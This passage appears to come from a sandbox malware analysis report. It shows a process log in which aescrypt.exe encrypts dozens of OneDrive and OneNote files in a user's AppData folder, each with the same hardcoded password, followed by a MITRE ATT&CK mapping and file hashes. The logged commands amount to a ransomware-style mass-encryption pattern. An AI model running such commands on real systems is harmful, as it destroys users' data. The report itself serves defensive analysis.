  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\CheckBox.qml"
  2⤵
  PID:7692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\CheckIndicator.qml"
  2⤵
  PID:5352
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\Dialog.qml"
  2⤵
  PID:5096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\DialogButtonBox.qml"
  2⤵
  PID:6180
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\Label.qml"
  2⤵
  PID:6164
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\Menu.qml"
  2⤵
  PID:5972
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\MenuItem.qml"
  2⤵
  PID:5548
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\plugins.qmltypes"
  2⤵
  PID:6224
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\Popup.qml"
  2⤵
  PID:5588
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\ProgressBar.qml"
  2⤵
  PID:8996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\qmldir"
  2⤵
  PID:5684
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\qtquickcontrols2plugin.dll"
  2⤵
  PID:5792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\ScrollBar.qml"
  2⤵
  PID:5924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\ScrollIndicator.qml"
  2⤵
  PID:5876
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\ScrollView.qml"
  2⤵
  PID:5700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\plugins.qmltypes"
  2⤵
  PID:5492
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\qmldir"
  2⤵
  PID:5528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\qtquickextrasplugin.dll"
  2⤵
  PID:5448
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\plugins.qmltypes"
  2⤵
  PID:5460
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\qmldir"
  2⤵
  PID:6512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\qquicklayoutsplugin.dll"
  2⤵
  PID:6528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\plugins.qmltypes"
  2⤵
  PID:6404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\qmldir"
  2⤵
  PID:6548
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\qtquicktemplates2plugin.dll"
  2⤵
  PID:6848
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\plugins.qmltypes"
  2⤵
  PID:6392
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\qmldir"
  2⤵
  PID:5584
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\windowplugin.dll"
  2⤵
  PID:5756
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\plugins.qmltypes"
  2⤵
  PID:5704
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\qmldir"
  2⤵
  PID:5772
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\qtquick2plugin.dll"
  2⤵
  PID:5804
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\quc\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6264
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\quz-PE\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ro\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:9012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ru\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:2216
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\rw\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1496
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sd-Arab-PK\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3788
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\si-LK\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:748
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sk\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sl\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4248
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sq\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:9032
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Cyrl-BA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Cyrl-RS\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5376
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Latn-RS\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5844
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sv\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5888
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sw\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ta\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1172
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\te\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4624
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tg\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\th\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ti\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4580
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tk-TM\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tn-ZA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3912
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tr\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4708
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tt\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:2008
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ug\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\uk\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ur\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5808
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\uz-Latn-UZ\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5816
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vi\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3980
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\wo\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3328
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\xh-ZA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3296
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\yo-NG\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zh-CN\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1092
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zh-TW\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:2620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zu-ZA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png"
  2⤵
  PID:1792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png"
  2⤵
  PID:1432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png"
  2⤵
  PID:5740
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png"
  2⤵
  PID:1512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png"
  2⤵
  PID:5904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png"
  2⤵
  PID:7080
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png"
  2⤵
  PID:6072
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png"
  2⤵
  PID:7576
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png"
  2⤵
  PID:6880
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png"
  2⤵
  PID:7572
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png"
  2⤵
  PID:7580
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png"
  2⤵
  PID:6996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png"
  2⤵
  PID:7788
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png"
  2⤵
  PID:8072
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png"
  2⤵
  PID:8972
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png"
  2⤵
  PID:7184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png"
  2⤵
  PID:7204
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png"
  2⤵
  PID:7304
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png"
  2⤵
  PID:7412
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png"
  2⤵
  PID:7488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png"
  2⤵
  PID:9096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png"
  2⤵
  PID:4596
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png"
  2⤵
  PID:4752
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png"
  2⤵
  PID:5124
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png"
  2⤵
  PID:5344
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png"
  2⤵
  PID:3884
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png"
  2⤵
  PID:4680
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png"
  2⤵
  PID:3340
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png"
  2⤵
  PID:2116
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png"
  2⤵
  PID:5232
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\Install-2024-2-26.1525.1704.1.aodl"
  2⤵
  PID:512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\Install-2024-2-26.1525.1704.1.odl"
  2⤵
  PID:6048
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\Install-PerUser-2024-2-26.1525.4640.1.aodl"
  2⤵
  PID:3332
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\Install-PerUser-2024-2-26.1525.4640.1.odl"
  2⤵
  PID:6760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session"
  2⤵
  PID:6916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session"
  2⤵
  PID:6964
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2024-02-26_152503_1220-102c.log"
  2⤵
  PID:6952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2024-02-26_152501_6a8-10b8.log"
  2⤵
  PID:6932
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000000.bin"
  2⤵
  PID:7480
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000001.bin"
  2⤵
  PID:3168
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"
  2⤵
  PID:5156
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin"
  2⤵
  PID:5244
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin"
  2⤵
  PID:5260
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin"
  2⤵
  PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
